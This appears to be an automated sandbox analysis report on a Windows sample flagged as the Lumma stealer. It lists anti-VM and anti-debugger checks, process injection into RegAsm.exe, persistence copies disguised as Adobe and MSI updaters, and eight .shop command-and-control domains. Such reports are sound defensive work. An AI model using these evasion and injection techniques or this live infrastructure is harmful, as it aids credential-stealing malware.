Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Stalling execution: Execution stalls by calling Sleep

graph_0-17837

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Special instruction interceptor: First address: F70B95 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory allocated: 1120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory allocated: 2A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: C60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: 2830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: 4830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 2A20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 2C60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 2BB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 1590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 3350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: 1830000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-17837

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry key enumerated: More than 145 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe TID: 6760	Thread sleep count: 98 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe TID: 4460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2492	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe TID: 4312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe TID: 5852	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5780	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5804	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe TID: 428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6612	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6636	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe TID: 2812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2004	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00D52870 FindFirstFileA,FindNextFileA,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,CreateDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,		0_2_00D52870
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C8C82B FindFirstFileExW,GetLastError,		0_2_00C8C82B

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Thread delayed: delay time: 922337203685477

Source: 2q45IEa3Ee.exe, 00000000.00000003.1644298203.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}~"
Source: RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ+
Source: RegAsm.exe, 00000011.00000002.2130384793.000000000153E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 2q45IEa3Ee.exe, 00000000.00000003.1625497117.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1625377908.0000000001570000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.0000000001760000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&)0
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000005FB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, RegAsm.exe, 0000000B.00000002.1939197101.00000000006DA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.000000000145A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2048327163.000000000149C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000011.00000002.2130384793.0000000001576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 2q45IEa3Ee.exe, 00000000.00000003.1625841550.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1625917956.0000000001570000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP!
Source: RegAsm.exe, 0000000B.00000002.1939197101.000000000071D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: 2q45IEa3Ee.exe, 00000000.00000003.1644298203.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: 2q45IEa3Ee.exe, 00000000.00000003.1626124846.0000000001570000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: 2q45IEa3Ee.exe, 00000000.00000003.1626252203.0000000001570000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000006002000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 2q45IEa3Ee.exe, 00000000.00000003.1625585878.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1626031634.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1625688795.0000000001570000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00435B70 LdrInitializeThunk,

7_2_00435B70

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Code function: 0_2_00D3B380 LoadLibraryA,GetProcAddress,

0_2_00D3B380

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: lumma1504[1].exe.0.dr, Angelo.cs	Reference to suspicious API methods: Program.VirtualProtect(ref Eugene.SuperBook[0], Eugene.SuperBook.Length, 64u, ref oldProtect)
Source: lumma1504[1].exe.0.dr, Angelo.cs	Reference to suspicious API methods: Program.WaitForSingleObject(Program.CreateRemoteThread(uint.MaxValue, 0u, 0u, ref Eugene.SuperBook[num], RemoteObjects.userBuffer, 0, ref WPA), uint.MaxValue)
Source: 0.2.2q45IEa3Ee.exe.e324c0.1.raw.unpack, ActiveApp.cs	Reference to suspicious API methods: OpenProcess(33554432u, bInheritHandle: false, dwProcessId)

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe

Code function: 6_2_02CE2549 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

6_2_02CE2549

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wifeplasterbakewis.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: mealplayerpreceodsju.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bordersoarmanusjuw.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: suitcaseacanehalk.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: absentconvicsjawun.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: pushjellysingeywus.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: economicscreateojsu.shop
Source: oRkIPIEeryat7GMgjkBr.exe, 00000006.00000002.1849470900.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: entitlementappwo.shop

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10E1008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1055008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 240008	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E93008
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11C3008

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe "C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
